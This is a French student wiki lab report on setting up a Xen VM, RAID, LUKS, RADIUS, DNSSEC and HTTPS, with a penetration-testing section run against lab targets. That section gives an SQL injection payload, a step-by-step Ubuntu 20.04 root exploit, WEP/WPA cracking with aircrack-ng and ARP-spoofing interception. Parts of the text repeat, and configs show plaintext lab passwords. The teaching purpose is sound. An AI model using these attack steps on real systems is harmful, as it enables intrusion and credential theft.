[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

On obtient :

[[Fichier:Nmap-g8-2021 1.2.png|600px]]

Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.

De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.

De retour sur la 1ere page, on se connecte sur honey.plil.info avec les identifiants récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.

On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.

On utilise cette découverte pour se connecter sur le serveur en SSH.

Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.

Pour avoir mot de passe en clair, on réalise une attaque par force brute avec dictionnaire.

Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.

Quelques temps plus tard... John the Ripper nous donne le mot de passe root !

Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe "I_was_here_IMA_G8" :

[[Fichier:Hack-honey.png|600px]]

=Réalisations=

==Sécurisation de données : RAID 5 logiciel==

Tout d'abord, on crée 3 partitions virtuelles :

lvcreate -L1G -n piedbleu-raid1 storage

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.

Tout d'abord, on installe le paquet mdadm.
apt instal mdadm

Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.
mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7
mdadm --monitor --daemonise /dev/md0

On formate notre volume RAID.
mkfs.ext4 /dev/md0

On rajoute cette ligne dans le fstab :
/dev/md0 /raid5 ext4 defaults 0 2

Pour finir, on peuple notre volume RAID.
mkdir /raid5
mount -a
touch /raid5/test

RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.

==Chiffrement de données==

Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes :

fdisk -l # on repère la clé USB
fdisk /dev/sdb # on formate la clé en une seule partition
cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB
cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition
mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4

Ensuite, on monte la clé USB, et on la peuple :

mkdir /mnt/USB
mount -t ext4 /dev/mapper/myusbkey /mnt/USB
touch /mnt/USB/mytestfile.txt

Une fois que l'on a fini, on démonte le système de fichier proprement :

umount /mnt/USB
cryptsetup luksClose myusbkey

==Sécurisation WiFi par WPA2-EAP ==

===FreeRADIUS===

Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.

On installe le paquet :
apt install freeradius

Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :

client 10.60.100.10/24 {
shortname = Piedbleu
secret = pasglop
}

On ajoute un utilisateur FreeRADIUS "pifou" dans le fichier de configuration /etc/freeradius/3.0/users :

pifou Cleartext-Password := "pasglop"

Pour finir, on configure l'authentification PEAP-MSCHAPv2.

On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :

eap{
...
default_eap_type = peap
...
}

Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap :

use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

===Point d'accès WiFi===

Ensuite, on configure le point d'accès WiFi.

ssh root@10.60.100.10 -c aes128-cbc

aaa authentication login eap_group1 group radius_group8
radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop
aaa group server radius radius_group8
server 193.48.57.181 auth-port 1812 acct-port 1813
exit

Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 :

dot11 ssid Piedbleu
vlan 308
authentication open eap eap_group8
authentication network-eap eap_group8
authentication key-management wpa
Mbssid Guest-mode
exit

Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption:

interface Dot11Radio0
Mbssid
encryption vlan 308 mode ciphers aes-ccm tkip
ssid Piedbleu
exit

Encapsulation:

int dot11radio0.8
encapsulation dot1q 308
bridge-group 8
exit
int Gi0.8
encapsulation dot1q 308
bridge-group 8
exit

En n'oubliant pas de démarrer l'interface :

int dot11radio0
no shutdown
end
write

Ping du point d'accès vers notre VM :

[[Fichier:Freeradius-ping.png|600px]]

On observe notre SSID "Piedbleu" :

[[Fichier:Freeradius-ssid.png|600px]]

On s'y connecte avec notre téléphone tout en lançant la commande :

freeradius -X

===DHCP===

'''6509E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.1
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.99
ip dhcp excluded-address 10.60.108.150 10.60.108.255
write
exit
sh ip dhcp binding

'''C9200'''

ssh admin@10.60.100.2

ip dhcp pool groupe8
dns 193.48.57.181
network 10.60.108.0 255.255.255.0
default-router 10.60.108.2
exit
ip dhcp excluded-address 10.60.108.0 10.60.108.49
ip dhcp excluded-address 10.60.108.100 10.60.108.255
exit
write
sh ip dhcp binding

===Mascarade===

'''6509E'''

int vlan 308
ip nat inside

access-list 108 permit ip 10.60.108.0 0.0.0.255 any
ip nat inside source list 108 interface Loopback0 overload

=Ferme de serveurs Web=

==Architecture générale de la ferme==

===Configuration VM Capbreton===

Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau :

vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',
'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',
]

On redémarre ensuite la VM.

Dans /etc/network/interfaces, on configure notre nouvelle interface :

auto eth1
iface eth1 inet static
address 192.168.42.8
netmask 255.255.255.0

Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

===Configuration VM Chassiron===

Dans /etc/network/interfaces, on configure notre interface :

auto eth0
iface eth0 inet static
address 192.168.42.22
netmask 255.255.255.0
gateway 192.168.42.8

Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :

#Acquire::http::Proxy "http://proxy.polytech-lille.fr:3128";

Puis on modifie le fichier /etc/resolv.conf :

domain plil.info
nameserver 192.168.42.8

===Mascarade===

On modifie le fichier /etc/systcl.conf :

net.ipv4.ip_forward=1

Ensuite, on lance les commandes :

apt install iptables-persistent

echo 1 > /proc/sys/net/ipv4/conf/all/forwarding

iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32
iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32
iptables -P FORWARD DROP
iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32

Pour tester :

ping 192.168.42.22 #sur la VM capreton
ping 192.168.42.8 #sur la VM chassiron
ping 8.8.8.8 #sur la VM chassiron
apt update #sur la VM chassiron

===Clés SSH===

On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x "entrée") :

ssh-keygen -b 2048

Ensuite, on propage notre clé publique sur toutes les VM secondaires :

for i in $(cat liste_ip.txt); do echo ssh-copy-id root@"$i"; done

Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.

Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :

PermitRootLogin yes

dans le fichier /etc/ssh/sshd_config.

===Installation d'Ansible ===

Nous passons à la configuration de nos serveurs Web. Nous utilisons pour cela le système ansible.
Nous commençons par installer ansible sur notre VM principale :
apt install ansible

Dans le fichier /etc/ansible/hosts, nous créons un inventaire en séparant l’ensemble des serveurs externes du notre :

[[Fichier:hosts1.png || 600px]]

===Ansible rôle MOTD===

Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :
fichier playbook.yml

Hosts : vmperso
Roles:
-{ role : adriagalin.motd }

Nous exécutons ensuite notre playbook.yml :
ansible-playbook playbook.yml

Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :

[[Fichier:host.png || 600px]]

===Ansible rôle NTP===

==Installation de Docker==

Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :

[[Fichier:play_docker.png | 600px ]]

Nous relançons playboot.yml, l'installations se déroule correctement sur notre VM secondaire.

==Création du conteneur==

==Configuration des serveurs internes==

==Equilibreur de charge==

Fichier:Hosts1.png

2020-12-17T16:29:27Z

Jsoulaim :

TP sysres IMA5sc 2020/2021 G8

2020-12-17T16:28:55Z

Jsoulaim : /* Ansible rôle MOTD */

=Informations générales=

{| class="wikitable"
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6
|-
| https://www.piedbleu.site
| 193.48.57.181
| 100.64.0.21
| 308
| 10.60.108.0/24
| 10.60.108.1
| 10.60.108.2
| 10.60.108.254
| 2001:660:4401:60ba::0/64
|}

=Installation de la machine virtuelle Xen=

Tout d'abord, on fait un SSH sur capbreton.

Puis création de la machine virtuelle :

xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force

On renomme les LVM avec lv rename :

lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home
lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var

On obtient (lvdispaly) :

--- Logical volume ---
LV Path /dev/storage/piedbleu-home
LV Name piedbleu-home
VG Name storage
LV UUID UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:12

--- Logical volume ---
LV Path /dev/storage/piedbleu-var
LV Name piedbleu-var
VG Name storage
LV UUID yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1
LV Write Access read/write
LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100
LV Status available
# open 1
LV Size 10.00 GiB
Current LE 2560
Segments 1
Allocation inherit
Read ahead sectors auto
- currently set to 256
Block device 254:13

Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg

Dans la catégorie "Disk device(s)", partie "disk", on ajoute les lignes suivantes :
phy:/dev/storage/piedbleu-home,xvda3,w',
phy:/dev/storage/piedbleu-var,xvda4,w',

Dans la catégorie "Networking", on ajoute :
bridge=IMA5sc

Ensuite, on lance la VM :

xl create -c /etc/xen/piedbleu.cfg

Par la suite, pour accéder à la VM, on fera :

xl console piedbleu

Dans la VM, on formate xvda3, xvda4 en ext 4 :
mkfs.ext4 /dev/xvda3
mkfs.ext4 /dev/xvda4

On modifie le fstab en ajoutant :

/dev/xvda3 /home defaults 0 2
/dev/xvda4 /var defaults 0 2

Et après on les monte :
mount -a

puis on fait un lsblk pour vérifier.

On obtient :

[[Fichier:Lsblk-g8-2021.png|480px]]

=Interconnexion de VLAN=

==Configuration IPv4==

Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.

'''Routeur C9200'''

Nous nous connectons en ssh à partir de notre VM:
ssh admin@10.60.100.2

ensuite :
int vlan 308
vrrp 48 address-family ipv4
address 10.60.108.254
preempt
vrrpv2
end
write

On quitte avec exit et on sauvegarde avec write.

La commande show vlan nous affiche bien notre VLAN configuré.

'''Routeur 6509-E'''

ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc

int vlan 308
vrrp 48 ip 10.60.108.254
vrrp 48 preempt
vrrp 48 priority 110
end
write

On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.

==Configuration IPv6==

'''Routeur 6509-E'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.1 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference High
end
write

'''Routeur C9200'''

vlan 308
name piedbleu.site
exit
int vlan 308
no shut
ip address 10.60.108.2 255.255.255.0
ipv6 enable
ipv6 address 2001:660:4401:60ba::/64 eui-64
ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900
ipv6 nd router-preference Low
end
write

=Services Internet=
==Accès à Internet==

Tout d'abord, on configure le fichier /etc/network/interfaces :

# The loopback network interface
auto lo
iface lo inet loopback
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.181
netmask 255.255.255.255
up ip address add dev eth0 100.64.0.21/24
up ip route add default via 100.64.0.2 src 193.48.57.181
down ip address del dev eth0 100.64.0.21/24
down ip route del default via 100.64.0.2 src 193.48.57.181
iface eth0 inet6 auto

Ensuite, on fait un ssh sur les 2 routeurs, puis:

enable
conf t
ip route 193.48.57.181 255.255.255.255 100.64.0.21
exit
write

On fait un ping pour tester :

ping google.fr

==Serveur SSH==
On modifie le fichier /etc/ssh/sshd_config.
Ensuite on active le serveur ssh :

service ssh start

Puis sur un autre terminal, on fait un :

ssh root@193.48.57.181

==Serveur DNS==

Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante :

Nom de domaine > piedbleu.site > Glue Records
ns1.piedbleu.site
193.48.57.181

Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
1er : ns1.piedbleu.site

Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.

Nous commençons par installer le paquet bind:

apt install bind9

Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:

'''1ère étape: '''

Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf

name serveur 127.0.0.1

L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).

'''2ème étape:'''
Dans le fichier /etc/bind/named.conf.local, nous créons une zone "piedbleu.site" qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :

zone "piedbleu" IN {
type master;
file "/etc/bind/db.piedbleu.site";
allow-transfer { 217.70.177.40; };
};

La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).

'''3ème étape:'''
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone "piedbleu.site":

;
; BIND data file for local loopback interface
;
TTL 604800
@ IN SOA ns1.piedbleu.site. root.piedbleu.site. (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns1.piedbleu.site.
@ IN NS ns6.gandi.net.
ns1 IN A 193.48.57.181

Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.

Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:

host -t any piedbleu.site

Résultat :

[[Fichier:reponse.png | 600px]]

A présent, nous pouvons configurer le serveur de nom secondaire :
Nom de domaine > piedbleu.site > Serveurs de noms > Externe (au lieu de live Gandi DNS)
2ème : ns6.gandi.net

==Sécurisation de site web par certificat==

Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.

Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:

@ IN MX 100 ns1.piedbleu.site.

Nous installons ensuite postfix (configuration : "Internet Site", nom du site " piedbleu.site").

Nous ajoutons ensuite l'alias dans le fichier /etc/aliases

admin:root

et nous effectuons la commande :

newaliases

Nous pouvons maintenant envoyer des mails à l'adresse "admin@piedbleu.site". Ces mails sont visibles lorsque l'on tape la commande :

mailx

Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.

Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr

-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.

-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom "piedbleu.site.key".

-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom "piedbleu.csr".

À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine "piedbleu.site" pour le Common Name.

Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.

Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.

On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentré le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaire. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:

/etc/ssl/piedbleu.site.crt
/etc/ssl/GandiStandardSSLCA2.pem

Nous copions aussi notre clé privée dans ce répertoire:

/etc/ssl/piedbleu.site.key

Nous pouvons maintenant passer à la configuration d'apache2 :

Tout d'abord, il est nécessaire d'activer le module SSL d'apache:

a2enmod ssl

Pour réaliser la configuration, nous modifions le fichier 000-default.conf. situé dans le répertoire /etc/apache2/sites-enabled. Nous modifions le VirutalHost dédié au HTTP (port 80) et le VirtualHost dédié au HTTPS (port 443):

<VirtualHost *:80>
ServerAdmin admin@piedbleu.site
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
Redirect permanent / https://www.piedbleu.site/
</VirtualHost>
<VirtualHost 193.48.57.181:443>
ServerName piedbleu.site
ServerAlias www.piedbleu.site
DocumentRoot /var/www/html
CustomLog /var/log/apache2/secure_access.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/piedbleu.site.crt
SSLCertificateKeyFile /etc/ssl/piedbleu.site.key
SSLCACertificateFile /etc/ssl/GandiStandardSSLCA2.pemSSLVerifyClient None
</VirtualHost>

La commande :
apachect1 configtest
nous indique bien que la syntaxe est correcte.

Nous devons aussi modifier la configuration de notre DNS (fichier db.piedbleu.site), en rajoutant un enregistrement de type A (address) :

www IN A 193.48.57.181

Pour que les modifications soient prises en compte, nous redémarrons apache2:

service apache2 restart

==Sécurisation du serveur DNS par DNSSEC==

Nous commençons tout d'abord par activer DNSSEC en ajoutant dans le fichier /etc/bind/named.conf.options l'option:
dnssec-enable yes

Nous souhaitons ensuite générer deux couples de clefs qui serviront pour le chiffrement. Avant cela, nous créons un dossier piedbleu.site.dnssec où seront stockées ces clefs.

Nous commençons par générer le couple de clefs asymétrique de signature de clefs de zone:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE piedbleu.site

Nous générons ensuite le couple de clefs asymétrique de la zone pour signer les enregistrements:
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE piedbleu.site

Nous renommons les deux paires de clefs obtenues de la manière suivante:
Kpiedbleu.site.+005+09001.key -> piedbleu.site-ksk.key
Kpiedbleu.site.+005+09001.private -> piedbleu.site-ksk.private
Kpiedbleu.site.+005+22902.key -> piedbleu.site-zsk.key
Kpiedbleu.site.+005+22902.private -> piedbleu.site-zsk.private

Nous incluons ensuite les deux clefs publiques dans notre fichier de zone:

$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-ksk.key
$include /etc/bind/piedbleu.site.dnssec/piedbleu.site-zsk.key

Nous n’oublions pas d'incrémenter le numéro version pour que les modifications soient prises en compte.

On signe ensuite les enregistrements de la zone :
dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Pour que le fichier signé soit pris en compte, nous modifions le fichier /etc/bind/named.conf.local pour utiliser la zone signée de suffixe .signed :

zone "piedbleu.site" IN {
type master;
file "/etc/bind/db.piedbleu.site.signed";
allow-transfer { 217.70.177.40; };
};

La dernière étape consiste à faire communiquer la partie publique de la KSK qui est présente dans le fichier piedbleu.site-ksk.key à Gandi.

service bind9 restart

Vérification:

Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/

[[Fichier:dnssec1.png | 600px]]

L'utilisation de la commande :
dnssec-verify -o piedbleu.site db.piedbleu.site.signed

nous donne le résultat suivant:
Loading zone 'piedbleu.site' from file 'db.piedbleu.site.signed'
Verifying the zone using the following algorithms: RSASHA1.
Zone fully signed:
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked
ZSKs: 1 active, 0 stand-by, 0 revoked

==IPv6==

Afin de pouvoir accéder à notre serveur via IPv6, on ajoute ces lignes dans /etc/bind/db.piedbleu.site

ns1 IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c
www IN AAAA 2001:660:4401:60b2:216:3eff:fefe:c26c

Ensuite, on resigne le DNS :

dnssec-signzone -o piedbleu.site -k piedbleu.site-ksk ../db.piedbleu.site piedbleu.site-zsk

Et on redémarre bind9.

=Tests d’intrusion=

==Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==

Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en '''exclusivité dans le département IMA''' l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai aperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur une machine Linux.

1) J'installe Ubuntu 20.04 dans une VM.

2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...

sudo adduser u1
su u1
id
uid=1001(u1) gid=1001(u1) groupes=1001(u1)

3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant :

ln -s /dev/zero ~/.pam_environment

Puis on va dans Settings > Region and Language > Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande :

top

On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.

kill -SIGSTOP 1098

Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.

rm ~/.pam_environment

Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière-plan après 10 secondes.

nohup bash -c "sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098"

On se déconnecte de notre session.

Le menu "Welcome" de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comptes). Un nouvel utilisateur apparaît sur la machine !

whoami
pwn
id
uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)

'''Explication : '''

En changeant la langue dans "Region and Language", le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.

La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple...

Ensuite, on se déconnecte de notre session en lançant en arrière-plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv->have_existing_user_accounts, qui est : "false". Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.

'''Note 1 : ''' La faille semble avoir été rapidement patchée.

'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège :

accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)

gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)

'''Version du noyau et des parquets : '''
Ubuntu 20.04.1 LTS, kernel 5.6
gdm3, version 3.36.3-0ubuntu0.20.04.1
accountsservice, version 0.6.55-0ubuntu12~20.04.1

''' Source : '''

''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020

https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE

==Cassage de clef WEP d’un point d’accès WiFi==

Nous commençons tout d’abord par installer le paquet aircrack :

apt-get install aircrack-ng

À partir de là, nous listons la liste des interfaces wifi disponibles :

airmon-ng

[[Fichier:screen1.png|600px]]

On remarque que notre carte wifi est désignée par le nom wlp1s0mon.

Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.

airmon-ng start wlp1s0mon

On peut ensuite lancer le scan des réseaux wifi environnants :

airodump-ng --encrypt wep wlp1s0mon

[[Fichier:Screen2.png|600px]]

On repère le point d’accès qui correspond au réseau wifi qui nous intéresse (cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.

On capture ensuite les paquets émis par le point d’accès cible :

airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon

[[Fichier:Screen3.png|600px]]

On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collectés. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :

aircrack-ng -z mon_fichier-01.cap

[[Fichier:Screen4.png|600px]]

On voit que le programme a réussi à trouver la clé (message « Key Found »).

==Cassage de mot de passe WPA-PSK par force brute==

Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).

On lance ensuite le scan des réseaux wifi WPA PSK environnants :

airodump-ng --encrypt wpa-psk wlp1s0mon

[[Fichier:scankracotte.png || 600px]]

Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH (le mode d'authentification), ainsi que l'ESSID.

Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 avec la commande suivante:

airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture

Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.

[[Fichier:Handshake1.png | 600px]]

Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par force brute. Pour cela, nous générons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre.

Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons préalablement installée):

crunch 8 8 -o 12345678 > motdepasse.txt

Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.

Ensuite, nous effectuons l'attaque par force brute avec la commande suivante :

aircrak-ng -a2 -b 00:14:1B:60:8C:22 -w motdepasse.txt *.cap

Comme la méthode force brute prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. Quatre heures plus tard, nous obtenons le mot de passe de la kracotte :

[[Fichier:WPA-6.png|600px]]

==Attaque de type "homme au milieu" par usurpation ARP==

Tout d'abord, on installe dsniff sur l'eepc. Ensuite on le transforme en routeur :

apt install dsniff
export PATH=/sbin:/usr/sbin:$PATH
echo 1 > /proc/sys/net/ipv4/ip_forward

Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur :

arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254

Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).

En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur :

[[Fichier:Mitm-pra.png|600px]]

==Intrusion sur un serveur d’application Web==

Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL :

' OR 1 = 1 --

D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter.

nmap -T4 -A honey.plil.info

